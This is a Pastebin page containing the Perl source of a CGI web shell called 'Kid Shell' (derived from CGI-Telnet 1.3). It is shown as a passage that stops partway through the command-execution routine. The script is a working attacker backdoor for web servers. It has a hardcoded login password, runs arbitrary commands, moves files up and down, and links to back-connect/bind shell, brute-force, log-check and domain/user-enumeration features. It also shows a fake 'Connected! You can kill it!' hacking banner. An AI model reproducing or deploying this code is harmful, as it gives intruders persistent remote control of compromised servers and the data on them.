API tools faq
paste
lehieuit

kid.pl

lehieuit
May 22nd, 2012
283
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 48.96 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/perl -I/usr/local/bandmin
  2. use MIME::Base64;
  3. $Version= "CGI-Telnet Version 1.3";
  4. $EditPersion="<font style='text-shadow: 0px 0px 6px rgb(255, 0, 0), 0px 0px 5px rgb(255, 0, 0), 0px 0px 5px rgb(255, 0, 0); color:#ffffff; font-weight:bold;'>Kid Shell</font>";
  5.  
  6. $Password = "7love";    # Change this. You will need to enter this
  7. # to login.
  8. sub Is_Win(){
  9.     $os = &trim($ENV{"SERVER_SOFTWARE"});
  10.     if($os =~ m/win/i){
  11.         return 1;
  12.     }
  13.     else{
  14.         return 0;
  15.     }
  16. }
  17. $WinNT = &Is_Win();             # You need to change the value of this to 1 if
  18.                                 # you're running this script on a Windows NT
  19.                                 # machine. If you're running it on Unix, you
  20.                                 # can leave the value as it is.
  21.  
  22. $NTCmdSep = "&";                # This character is used to seperate 2 commands
  23.                                 # in a command line on Windows NT.
  24.  
  25. $UnixCmdSep = ";";              # This character is used to seperate 2 commands
  26.                                 # in a command line on Unix.
  27.  
  28. $CommandTimeoutDuration = 10;   # Time in seconds after commands will be killed
  29.                                 # Don't set this to a very large value. This is
  30.                                 # useful for commands that may hang or that
  31.                                 # take very long to execute, like "find /".
  32.                                 # This is valid only on Unix servers. It is
  33.                                 # ignored on NT Servers.
  34.  
  35. $ShowDynamicOutput = 1;         # If this is 1, then data is sent to the
  36.                                 # browser as soon as it is output, otherwise
  37.                                 # it is buffered and send when the command
  38.                                 # completes. This is useful for commands like
  39.                                 # ping, so that you can see the output as it
  40.                                 # is being generated.
  41.  
  42. # DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!
  43.  
  44. $CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);
  45. $CmdPwd = ($WinNT ? "cd" : "pwd");
  46. $PathSep = ($WinNT ? "\\" : "/");
  47. $Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");
  48. $cols= 150;
  49. $rows= 26;
  50. #------------------------------------------------------------------------------
  51. # Reads the input sent by the browser and parses the input variables. It
  52. # parses GET, POST and multipart/form-data that is used for uploading files.
  53. # The filename is stored in $in{'f'} and the data is stored in $in{'filedata'}.
  54. # Other variables can be accessed using $in{'var'}, where var is the name of
  55. # the variable. Note: Most of the code in this function is taken from other CGI
  56. # scripts.
  57. #------------------------------------------------------------------------------
  58. sub ReadParse
  59. {
  60.     local (*in) = @_ if @_;
  61.     local ($i, $loc, $key, $val);
  62.    
  63.     $MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;
  64.  
  65.     if($ENV{'REQUEST_METHOD'} eq "GET")
  66.     {
  67.         $in = $ENV{'QUERY_STRING'};
  68.     }
  69.     elsif($ENV{'REQUEST_METHOD'} eq "POST")
  70.     {
  71.         binmode(STDIN) if $MultipartFormData & $WinNT;
  72.         read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
  73.     }
  74.  
  75.     # handle file upload data
  76.     if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)
  77.     {
  78.         $Boundary = '--'.$1; # please refer to RFC1867
  79.         @list = split(/$Boundary/, $in);
  80.         $HeaderBody = $list[1];
  81.         $HeaderBody =~ /\r\n\r\n|\n\n/;
  82.         $Header = $`;
  83.         $Body = $';
  84.         $Body =~ s/\r\n$//; # the last \r\n was put in by Netscape
  85.         $in{'filedata'} = $Body;
  86.         $Header =~ /filename=\"(.+)\"/;
  87.         $in{'f'} = $1;
  88.         $in{'f'} =~ s/\"//g;
  89.         $in{'f'} =~ s/\s//g;
  90.  
  91.         # parse trailer
  92.         for($i=2; $list[$i]; $i++)
  93.         {
  94.             $list[$i] =~ s/^.+name=$//;
  95.             $list[$i] =~ /\"(\w+)\"/;
  96.             $key = $1;
  97.             $val = $';
  98.             $val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
  99.             $val =~ s/%(..)/pack("c", hex($1))/ge;
  100.             $in{$key} = $val;
  101.         }
  102.     }
  103.     else # standard post data (url encoded, not multipart)
  104.     {
  105.         @in = split(/&/, $in);
  106.         foreach $i (0 .. $#in)
  107.         {
  108.             $in[$i] =~ s/\+/ /g;
  109.             ($key, $val) = split(/=/, $in[$i], 2);
  110.             $key =~ s/%(..)/pack("c", hex($1))/ge;
  111.             $val =~ s/%(..)/pack("c", hex($1))/ge;
  112.             $in{$key} .= "\0" if (defined($in{$key}));
  113.             $in{$key} .= $val;
  114.         }
  115.     }
  116. }
  117.  
  118. #------------------------------------------------------------------------------
  119. # Prints the HTML Page Header
  120. # Argument 1: Form item name to which focus should be set
  121. #------------------------------------------------------------------------------
  122. sub PrintPageHeader
  123. {
  124.     $EncodedCurrentDir = $CurrentDir;
  125.     $EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
  126.     my $dir =$CurrentDir;
  127.     $dir=~ s/\\/\\\\/g;
  128.     print "Content-type: text/html\n\n";
  129.     print <<END;
  130. <html>
  131. <head>
  132. <meta http-equiv="content-type" content="text/html; charset=UTF-8">
  133. <title></title>
  134. <script>
  135. var txt="Kid Shell - Edit by [BYG] Kid\t";
  136. var espera=500;
  137. var refresco=null;
  138. function rotulo_title() {
  139. document.title=txt;
  140. txt=txt.substring(1,txt.length)+txt.charAt(0);
  141. refresco=setTimeout("rotulo_title()",espera);
  142. }
  143. rotulo_title();
  144. </script>
  145. $HtmlMetaHeader
  146.  
  147. </head>
  148. <style>
  149. body{
  150. font: 10pt Verdana;
  151. }
  152. tr {
  153. BORDER-RIGHT:  #3e3e3e 1px solid;
  154. BORDER-TOP:    #3e3e3e 1px solid;
  155. BORDER-LEFT:   #3e3e3e 1px solid;
  156. BORDER-BOTTOM: #3e3e3e 1px solid;
  157. color: #ff9900;
  158. }
  159. td {
  160. BORDER-RIGHT:  #3e3e3e 1px solid;
  161. BORDER-TOP:    #3e3e3e 1px solid;
  162. BORDER-LEFT:   #3e3e3e 1px solid;
  163. BORDER-BOTTOM: #3e3e3e 1px solid;
  164. color: #2BA8EC;
  165. font: 10pt Verdana;
  166. }
  167.  
  168. table {
  169. BORDER-RIGHT:  #3e3e3e 1px solid;
  170. BORDER-TOP:    #3e3e3e 1px solid;
  171. BORDER-LEFT:   #3e3e3e 1px solid;
  172. BORDER-BOTTOM: #3e3e3e 1px solid;
  173. BACKGROUND-COLOR: #111;
  174. }
  175.  
  176.  
  177. input {
  178. BORDER-RIGHT:  #3e3e3e 1px solid;
  179. BORDER-TOP:    #3e3e3e 1px solid;
  180. BORDER-LEFT:   #3e3e3e 1px solid;
  181. BORDER-BOTTOM: #3e3e3e 1px solid;
  182. BACKGROUND-COLOR: Black;
  183. font: 10pt Verdana;
  184. color: #ff9900;
  185. }
  186.  
  187. input.submit {
  188. text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  189. color: #FFFFFF;
  190. border-color: #009900;
  191. }
  192.  
  193. code {
  194. border          : dashed 0px #333;
  195. BACKGROUND-COLOR: Black;
  196. font: 10pt Verdana bold;
  197. color: while;
  198. }
  199.  
  200. run {
  201. border          : dashed 0px #333;
  202. font: 10pt Verdana bold;
  203. color: #FF00AA;
  204. }
  205.  
  206. textarea {
  207. BORDER-RIGHT:  #3e3e3e 1px solid;
  208. BORDER-TOP:    #3e3e3e 1px solid;
  209. BORDER-LEFT:   #3e3e3e 1px solid;
  210. BORDER-BOTTOM: #3e3e3e 1px solid;
  211. BACKGROUND-COLOR: #1b1b1b;
  212. font: Fixedsys bold;
  213. color: #00FF00;
  214. }
  215. A:link {
  216.     COLOR: #2BA8EC; TEXT-DECORATION: none
  217. }
  218. A:visited {
  219.     COLOR: #2BA8EC; TEXT-DECORATION: none
  220. }
  221. A:hover {
  222.     text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  223.     color: #FFFFFF; TEXT-DECORATION: none
  224. }
  225. A:active {
  226.     color: Red; TEXT-DECORATION: none
  227. }
  228.  
  229. .listdir tr:hover{
  230.     background: #444;
  231. }
  232. .listdir tr:hover td{
  233.     background: #444;
  234.     text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  235.     color: #FFFFFF; TEXT-DECORATION: none;
  236. }
  237. .notline{
  238.     background: #111;
  239. }
  240. .line{
  241.     background: #222;
  242. }
  243. </style>
  244. <script language="javascript">
  245. function chmod_form(i,file)
  246. {
  247.     /*var ajax='ajax_PostData("FormPerms_'+i+'","$ScriptLocation","ResponseData"); return false;';*/
  248.     var ajax="";
  249.     document.getElementById("FilePerms_"+i).innerHTML="<form name=FormPerms_" + i+ " action='' method='POST'><input id=text_" + i + "  name=chmod type=text size=5 /><input type=submit class='submit' onclick='" + ajax + "' value=OK><input type=hidden name=a value='gui'><input type=hidden name=d value='$dir'><input type=hidden name=f value='"+file+"'></form>";
  250.     document.getElementById("text_" + i).focus();
  251. }
  252. function rm_chmod_form(response,i,perms,file)
  253. {
  254.     response.innerHTML = "<span onclick=\\\"chmod_form(" + i + ",'"+ file+ "')\\\" >"+ perms +"</span></td>";
  255. }
  256. function rename_form(i,file,f)
  257. {
  258.     var ajax="";
  259.     f.replace(/\\\\/g,"\\\\\\\\");
  260.     var back="rm_rename_form("+i+",\\\""+file+"\\\",\\\""+f+"\\\"); return false;";
  261.     document.getElementById("File_"+i).innerHTML="<form name=FormPerms_" + i+ " action='' method='POST'><input id=text_" + i + "  name=rename type=text value= '"+file+"' /><input type=submit class='submit' onclick='" + ajax + "' value=OK><input type=submit class='submit' onclick='" + back + "' value=Cancel><input type=hidden name=a value='gui'><input type=hidden name=d value='$dir'><input type=hidden name=f value='"+file+"'></form>";
  262.     document.getElementById("text_" + i).focus();
  263. }
  264. function rm_rename_form(i,file,f)
  265. {
  266.     if(f=='f')
  267.     {
  268.         document.getElementById("File_"+i).innerHTML="<a href='?a=command&d=$dir&c=edit%20"+file+"%20'>" +file+ "</a>";
  269.     }else
  270.     {
  271.         document.getElementById("File_"+i).innerHTML="<a href='?a=gui&d="+f+"'>[ " +file+ " ]</a>";
  272.     }
  273. }
  274. </script>
  275. <body onLoad="document.f.@_.focus()" bgcolor="#0c0c0c" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0">
  276. <center><code>
  277. <br></br>
  278. <table border="1" width="96%" cellspacing="0" cellpadding="2">
  279. <tr>
  280.     <td align="center" rowspan="3">
  281.         $EditPersion
  282.     </td>
  283.     <td><font color="red">Connecting:</font> $ENV{'SERVER_NAME'} | <font color="red">Path :</font> $ENV{'DOCUMENT_ROOT'}</td>
  284.     <td>
  285.         <font color="red">Server IP:<font color="#ff9900"> $ENV{'SERVER_ADDR'}</font> | Your IP: <font color="#ff9900">$ENV{'REMOTE_ADDR'}</font></font>
  286.     </td>
  287. </tr>
  288. <tr>
  289. <td colspan="3">
  290.     <font face="Verdana" size="2"><font color="red">Server:</font> $ENV{"SERVER_SOFTWARE"}</font>
  291. </td>
  292. </tr>
  293. <tr>
  294. <td colspan="3">
  295.     <font face="Verdana" size="2">
  296.         <a href="$ScriptLocation">Home</a> |
  297.         <a href="$ScriptLocation?a=command&d=$EncodedCurrentDir">Command</a> |
  298.         <a href="$ScriptLocation?a=gui&d=$EncodedCurrentDir">GUI</a> |
  299.         <a href="$ScriptLocation?a=upload&d=$EncodedCurrentDir">Upload File</a> |
  300.         <a href="$ScriptLocation?a=download&d=$EncodedCurrentDir">Download File</a> |
  301.  
  302.         <a href="$ScriptLocation?a=backbind">Back & Bind</a> |
  303.         <a href="$ScriptLocation?a=bruteforcer">Brute Forcer</a> |
  304.         <a href="$ScriptLocation?a=checklog">Check Log</a> |
  305.         <a href="$ScriptLocation?a=domainsuser">Domains/Users</a> |
  306.         <a href="$ScriptLocation?a=logout">Logout</a> |
  307.         <a target='_blank' href="#">Help</a>
  308.     </font>
  309. </td>
  310. </tr>
  311. </table>
  312. <font id="ResponseData" color="#FFFFFF" >
  313. END
  314. }
  315.  
  316. #------------------------------------------------------------------------------
  317. # Prints the Login Screen
  318. #------------------------------------------------------------------------------
  319. sub PrintLoginScreen
  320. {
  321.  
  322.     print <<END;
  323. <pre><script type="text/javascript">
  324. TypingText = function(element, interval, cursor, finishedCallback) {
  325.   if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
  326.     this.running = true;    // Never run.
  327.     return;
  328.   }
  329.   this.element = element;
  330.   this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
  331.   this.interval = (typeof interval == "undefined" ? 100 : interval);
  332.   this.origText = this.element.innerHTML;
  333.   this.unparsedOrigText = this.origText;
  334.   this.cursor = (cursor ? cursor : "");
  335.   this.currentText = "";
  336.   this.currentChar = 0;
  337.   this.element.typingText = this;
  338.   if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
  339.   TypingText.all.push(this);
  340.   this.running = false;
  341.   this.inTag = false;
  342.   this.tagBuffer = "";
  343.   this.inHTMLEntity = false;
  344.   this.HTMLEntityBuffer = "";
  345. }
  346. TypingText.all = new Array();
  347. TypingText.currentIndex = 0;
  348. TypingText.runAll = function() {
  349.   for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
  350. }
  351. TypingText.prototype.run = function() {
  352.   if(this.running) return;
  353.   if(typeof this.origText == "undefined") {
  354.     setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);   // We haven't finished loading yet.  Have patience.
  355.     return;
  356.   }
  357.   if(this.currentText == "") this.element.innerHTML = "";
  358. //  this.origText = this.origText.replace(/<([^<])*>/, "");     // Strip HTML from text.
  359.   if(this.currentChar < this.origText.length) {
  360.     if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
  361.       this.tagBuffer = "<";
  362.       this.inTag = true;
  363.       this.currentChar++;
  364.       this.run();
  365.       return;
  366.     } else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
  367.       this.tagBuffer += ">";
  368.       this.inTag = false;
  369.       this.currentText += this.tagBuffer;
  370.       this.currentChar++;
  371.       this.run();
  372.       return;
  373.     } else if(this.inTag) {
  374.       this.tagBuffer += this.origText.charAt(this.currentChar);
  375.       this.currentChar++;
  376.       this.run();
  377.       return;
  378.     } else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
  379.       this.HTMLEntityBuffer = "&";
  380.       this.inHTMLEntity = true;
  381.       this.currentChar++;
  382.       this.run();
  383.       return;
  384.     } else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
  385.       this.HTMLEntityBuffer += ";";
  386.       this.inHTMLEntity = false;
  387.       this.currentText += this.HTMLEntityBuffer;
  388.       this.currentChar++;
  389.       this.run();
  390.       return;
  391.     } else if(this.inHTMLEntity) {
  392.       this.HTMLEntityBuffer += this.origText.charAt(this.currentChar);
  393.       this.currentChar++;
  394.       this.run();
  395.       return;
  396.     } else {
  397.       this.currentText += this.origText.charAt(this.currentChar);
  398.     }
  399.     this.element.innerHTML = this.currentText;
  400.     this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == "function" ? this.cursor(this.currentText) : this.cursor) : "");
  401.     this.currentChar++;
  402.     setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
  403.   } else {
  404.     this.currentText = "";
  405.     this.currentChar = 0;
  406.         this.running = false;
  407.         this.finishedCallback();
  408.   }
  409. }
  410. </script>
  411. </pre>
  412.  
  413. <font style="font: 15pt Verdana; color: yellow;">Copyright &copy 2012 by [BYG] Kid </font><br><br>
  414. <table align="center" border="1" width="600" heigh>
  415. <tbody><tr>
  416. <td valign="top" background="http://i1220.photobucket.com/albums/dd460/mrlehieuit/up13160067271.gif"><p id="hack" style="margin-left: 3px;">
  417. <font color="#009900"> Please Wait . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .</font> <br>
  418.  
  419. <font color="#009900"> Trying connect to Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .</font><br>
  420. <font color="#F00000"><font color="#FFF000">~\$</font> Connected ! </font><br>
  421. <font color="#009900"><font color="#FFF000">$ServerName~</font> Checking Server . . . . . . . . . . . . . . . . . . .</font> <br>
  422.  
  423. <font color="#009900"><font color="#FFF000">$ServerName~</font> Trying connect to Command . . . . . . . . . . .</font><br>
  424.  
  425. <font color="#F00000"><font color="#FFF000">$ServerName~</font>\$ Connected Command! </font><br>
  426. <font color="#009900"><font color="#FFF000">$ServerName~<font color="#F00000">\$</font></font> OK! You can kill it!</font>
  427. </tr>
  428. </tbody></table>
  429. <br>
  430.  
  431. <script type="text/javascript">
  432. new TypingText(document.getElementById("hack"), 30, function(i){ var ar = new Array("_",""); return " " + ar[i.length % ar.length]; });
  433. TypingText.runAll();
  434.  
  435. </script>
  436. END
  437. }
  438.  
  439. #------------------------------------------------------------------------------
  440. # Add html special chars
  441. #------------------------------------------------------------------------------
  442. sub HtmlSpecialChars($){
  443.     my $text = shift;
  444.     $text =~ s/&/&amp;/g;
  445.     $text =~ s/"/&quot;/g;
  446.     $text =~ s/'/&#039;/g;
  447.     $text =~ s/</&lt;/g;
  448.     $text =~ s/>/&gt;/g;
  449.     return $text;
  450. }
  451. #------------------------------------------------------------------------------
  452. # Add link for directory
  453. #------------------------------------------------------------------------------
  454. sub AddLinkDir($)
  455. {
  456.     my $ac=shift;
  457.     my @dir=();
  458.     if($WinNT)
  459.     {
  460.         @dir=split(/\\/,$CurrentDir);
  461.     }else
  462.     {
  463.         @dir=split("/",&trim($CurrentDir));
  464.     }
  465.     my $path="";
  466.     my $result="";
  467.     foreach (@dir)
  468.     {
  469.         $path .= $_.$PathSep;
  470.         $result.="<a href='?a=".$ac."&d=".$path."'>".$_.$PathSep."</a>";
  471.     }
  472.     return $result;
  473. }
  474. #------------------------------------------------------------------------------
  475. # Prints the message that informs the user of a failed login
  476. #------------------------------------------------------------------------------
  477. sub PrintLoginFailedMessage
  478. {
  479.     print <<END;
  480. <br>Login : Administrator<br>
  481.  
  482. Password:<br>
  483. Login incorrect<br><br>
  484. END
  485. }
  486.  
  487. #------------------------------------------------------------------------------
  488. # Prints the HTML form for logging in
  489. #------------------------------------------------------------------------------
  490. sub PrintLoginForm
  491. {
  492.     print <<END;
  493. <form name="f" method="POST" action="$ScriptLocation">
  494. <input type="hidden" name="a" value="login">
  495. Login : Administrator<br>
  496. Password:<input type="password" name="p">
  497. <input class="submit" type="submit" value="Enter">
  498. </form>
  499. END
  500. }
  501.  
  502. #------------------------------------------------------------------------------
  503. # Prints the footer for the HTML Page
  504. #------------------------------------------------------------------------------
  505.  
  506.  
  507. #------------------------------------------------------------------------------
  508. # Retreives the values of all cookies. The cookies can be accesses using the
  509. # variable $Cookies{''}
  510. #------------------------------------------------------------------------------
  511. sub GetCookies
  512. {
  513.     @httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});
  514.     foreach $cookie(@httpcookies)
  515.     {
  516.         ($id, $val) = split(/=/, $cookie);
  517.         $Cookies{$id} = $val;
  518.     }
  519. }
  520.  
  521. #------------------------------------------------------------------------------
  522. # Prints the screen when the user logs out
  523. #------------------------------------------------------------------------------
  524. sub PrintLogoutScreen
  525. {
  526.     print "Dang Xuat Thanh Cong.<br><br>";
  527. }
  528.  
  529. #------------------------------------------------------------------------------
  530. # Logs out the user and allows the user to login again
  531. #------------------------------------------------------------------------------
  532. sub PerformLogout
  533. {
  534.     print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie
  535.     &PrintPageHeader("p");
  536.     &PrintLogoutScreen;
  537.  
  538.     &PrintLoginScreen;
  539.     &PrintLoginForm;
  540.     &PrintPageFooter;
  541.     exit;
  542. }
  543.  
  544. #------------------------------------------------------------------------------
  545. # This function is called to login the user. If the password matches, it
  546. # displays a page that allows the user to run commands. If the password doens't
  547. # match or if no password is entered, it displays a form that allows the user
  548. # to login
  549. #------------------------------------------------------------------------------
  550. sub PerformLogin
  551. {
  552.     if($LoginPassword eq $Password) # password matched
  553.     {
  554.         print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
  555.         &PrintPageHeader;
  556.         print &ListDir;
  557.     }
  558.     else # password didn't match
  559.     {
  560.         &PrintPageHeader("p");
  561.         &PrintLoginScreen;
  562.         if($LoginPassword ne "") # some password was entered
  563.         {
  564.             &PrintLoginFailedMessage;
  565.  
  566.         }
  567.         &PrintLoginForm;
  568.         &PrintPageFooter;
  569.         exit;
  570.     }
  571. }
  572.  
  573. #------------------------------------------------------------------------------
  574. # Prints the HTML form that allows the user to enter commands
  575. #------------------------------------------------------------------------------
  576. sub PrintCommandLineInputForm
  577. {
  578.     my $dir= "<span style='font: 11pt Verdana; font-weight: bold;'>".&AddLinkDir("command")."</span>";
  579.     $Prompt = $WinNT ? "$dir > " : "<font color='#FFFFFF'>[admin\@$ServerName $dir]\$</font> ";
  580.     return <<END;
  581. <form name="f" method="POST" action="$ScriptLocation">
  582.  
  583. <input type="hidden" name="a" value="command">
  584.  
  585. <input type="hidden" name="d" value="$CurrentDir">
  586. $Prompt
  587. <input type="text" size="40" name="c">
  588. <input class="submit"type="submit" value="Enter">
  589. </form>
  590. END
  591. }
  592.  
  593. #------------------------------------------------------------------------------
  594. # Prints the HTML form that allows the user to download files
  595. #------------------------------------------------------------------------------
  596. sub PrintFileDownloadForm
  597. {
  598.     my $dir = &AddLinkDir("download");
  599.     $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
  600.     return <<END;
  601. <form name="f" method="POST" action="$ScriptLocation">
  602. <input type="hidden" name="d" value="$CurrentDir">
  603. <input type="hidden" name="a" value="download">
  604. $Prompt download<br><br>
  605. Filename: <input class="file" type="text" name="f" size="35"><br><br>
  606. Download: <input class="submit" type="submit" value="Begin">
  607.  
  608. </form>
  609. END
  610. }
  611.  
  612. #------------------------------------------------------------------------------
  613. # Prints the HTML form that allows the user to upload files
  614. #------------------------------------------------------------------------------
  615. sub PrintFileUploadForm
  616. {
  617.     my $dir= &AddLinkDir("upload");
  618.     $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
  619.     return <<END;
  620. <form name="f" enctype="multipart/form-data" method="POST" action="$ScriptLocation">
  621. $Prompt upload<br><br>
  622. Filename: <input class="file" type="file" name="f" size="35"><br><br>
  623. Options: &nbsp;<input type="checkbox" name="o" id="up" value="overwrite">
  624. <label for="up">Overwrite if it Exists</label><br><br>
  625. Upload:&nbsp;&nbsp;&nbsp;<input class="submit" type="submit" value="Begin">
  626. <input type="hidden" name="d" value="$CurrentDir">
  627. <input class="submit" type="hidden" name="a" value="upload">
  628.  
  629. </form>
  630.  
  631. END
  632. }
  633.  
  634. #------------------------------------------------------------------------------
  635. # This function is called when the timeout for a command expires. We need to
  636. # terminate the script immediately. This function is valid only on Unix. It is
  637. # never called when the script is running on NT.
  638. #------------------------------------------------------------------------------
  639. sub CommandTimeout
  640. {
  641.     if(!$WinNT)
  642.     {
  643.         alarm(0);
  644.         return <<END;
  645. </textarea>
  646. <br><font color=yellow>
  647. Command exceeded maximum time of $CommandTimeoutDuration second(s).</font>
  648. <br><font size='6' color=red>Killed it!</font>
  649. END
  650.     }
  651. }
  652.  
  653.  
  654.  
  655. #------------------------------------------------------------------------------
  656. # This function displays the page that contains a link which allows the user
  657. # to download the specified file. The page also contains a auto-refresh
  658. # feature that starts the download automatically.
  659. # Argument 1: Fully qualified filename of the file to be downloaded
  660. #------------------------------------------------------------------------------
  661. sub PrintDownloadLinkPage
  662. {
  663.     local($FileUrl) = @_;
  664.     my $result="";
  665.     if(-e $FileUrl) # if the file exists
  666.     {
  667.         # encode the file link so we can send it to the browser
  668.         $FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
  669.         $DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
  670.         $HtmlMetaHeader = "<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\">";
  671.         &PrintPageHeader("c");
  672.         $result .= <<END;
  673. Sending File $TransferFile...<br>
  674.  
  675. If the download does not start automatically,
  676. <a href="$DownloadLink">Click Here</a>
  677. END
  678.         $result .= &PrintCommandLineInputForm;
  679.     }
  680.     else # file doesn't exist
  681.     {
  682.         $result .= "Failed to download $FileUrl: $!";
  683.         $result .= &PrintFileDownloadForm;
  684.     }
  685.     return $result;
  686. }
  687.  
  688. #------------------------------------------------------------------------------
  689. # This function reads the specified file from the disk and sends it to the
  690. # browser, so that it can be downloaded by the user.
  691. # Argument 1: Fully qualified pathname of the file to be sent.
  692. #------------------------------------------------------------------------------
  693. sub SendFileToBrowser
  694. {
  695.     my $result = "";
  696.     local($SendFile) = @_;
  697.     if(open(SENDFILE, $SendFile)) # file opened for reading
  698.     {
  699.         if($WinNT)
  700.         {
  701.             binmode(SENDFILE);
  702.             binmode(STDOUT);
  703.         }
  704.         $FileSize = (stat($SendFile))[7];
  705.         ($Filename = $SendFile) =~  m!([^/^\\]*)$!;
  706.         print "Content-Type: application/x-unknown\n";
  707.         print "Content-Length: $FileSize\n";
  708.         print "Content-Disposition: attachment; filename=$1\n\n";
  709.         print while(<SENDFILE>);
  710.         close(SENDFILE);
  711.         exit(1);
  712.     }
  713.     else # failed to open file
  714.     {
  715.         $result .= "Failed to download $SendFile: $!";
  716.         $result .=&PrintFileDownloadForm;
  717.     }
  718.     return $result;
  719. }
  720.  
  721.  
  722. #------------------------------------------------------------------------------
  723. # This function is called when the user downloads a file. It displays a message
  724. # to the user and provides a link through which the file can be downloaded.
  725. # This function is also called when the user clicks on that link. In this case,
  726. # the file is read and sent to the browser.
  727. #------------------------------------------------------------------------------
  728. sub BeginDownload
  729. {
  730.     # get fully qualified path of the file to be downloaded
  731.     if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
  732.         (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  733.     {
  734.         $TargetFile = $TransferFile;
  735.     }
  736.     else # path is relative
  737.     {
  738.         chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  739.         $TargetFile .= $PathSep.$TransferFile;
  740.     }
  741.  
  742.     if($Options eq "go") # we have to send the file
  743.     {
  744.         &SendFileToBrowser($TargetFile);
  745.     }
  746.     else # we have to send only the link page
  747.     {
  748.         &PrintDownloadLinkPage($TargetFile);
  749.     }
  750. }
  751.  
  752. #------------------------------------------------------------------------------
  753. # This function is called when the user wants to upload a file. If the
  754. # file is not specified, it displays a form allowing the user to specify a
  755. # file, otherwise it starts the upload process.
  756. #------------------------------------------------------------------------------
  757. sub UploadFile
  758. {
  759.     # if no file is specified, print the upload form again
  760.     if($TransferFile eq "")
  761.     {
  762.         return &PrintFileUploadForm;
  763.  
  764.     }
  765.     my $result="";
  766.     # start the uploading process
  767.     $result .= "Uploading $TransferFile to $CurrentDir...<br>";
  768.  
  769.     # get the fullly qualified pathname of the file to be created
  770.     chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
  771.     $TransferFile =~ m!([^/^\\]*)$!;
  772.     $TargetName .= $PathSep.$1;
  773.  
  774.     $TargetFileSize = length($in{'filedata'});
  775.     # if the file exists and we are not supposed to overwrite it
  776.     if(-e $TargetName && $Options ne "overwrite")
  777.     {
  778.         $result .= "Failed: Destination file already exists.<br>";
  779.     }
  780.     else # file is not present
  781.     {
  782.         if(open(UPLOADFILE, ">$TargetName"))
  783.         {
  784.             binmode(UPLOADFILE) if $WinNT;
  785.             print UPLOADFILE $in{'filedata'};
  786.             close(UPLOADFILE);
  787.             $result .= "Transfered $TargetFileSize Bytes.<br>";
  788.             $result .= "File Path: $TargetName<br>";
  789.         }
  790.         else
  791.         {
  792.             $result .= "Failed: $!<br>";
  793.         }
  794.     }
  795.     $result .= &PrintCommandLineInputForm;
  796.     return $result;
  797. }
  798.  
  799. #------------------------------------------------------------------------------
  800. # This function is called when the user wants to download a file. If the
  801. # filename is not specified, it displays a form allowing the user to specify a
  802. # file, otherwise it displays a message to the user and provides a link
  803. # through  which the file can be downloaded.
  804. #------------------------------------------------------------------------------
  805. sub DownloadFile
  806. {
  807.     # if no file is specified, print the download form again
  808.     if($TransferFile eq "")
  809.     {
  810.         &PrintPageHeader("f");
  811.         return &PrintFileDownloadForm;
  812.     }
  813.    
  814.     # get fully qualified path of the file to be downloaded
  815.     if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) | (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  816.     {
  817.         $TargetFile = $TransferFile;
  818.     }
  819.     else # path is relative
  820.     {
  821.         chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  822.         $TargetFile .= $PathSep.$TransferFile;
  823.     }
  824.  
  825.     if($Options eq "go") # we have to send the file
  826.     {
  827.         return &SendFileToBrowser($TargetFile);
  828.     }
  829.     else # we have to send only the link page
  830.     {
  831.         return &PrintDownloadLinkPage($TargetFile);
  832.     }
  833. }
  834.  
  835.  
  836. #------------------------------------------------------------------------------
  837. # This function is called to execute commands. It displays the output of the
  838. # command and allows the user to enter another command. The change directory
  839. # command is handled differently. In this case, the new directory is stored in
  840. # an internal variable and is used each time a command has to be executed. The
  841. # output of the change directory command is not displayed to the users
  842. # therefore error messages cannot be displayed.
  843. #------------------------------------------------------------------------------
  844. sub ExecuteCommand
  845. {
  846.     my $result="";
  847.     if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command
  848.     {
  849.         # we change the directory internally. The output of the
  850.         # command is not displayed.
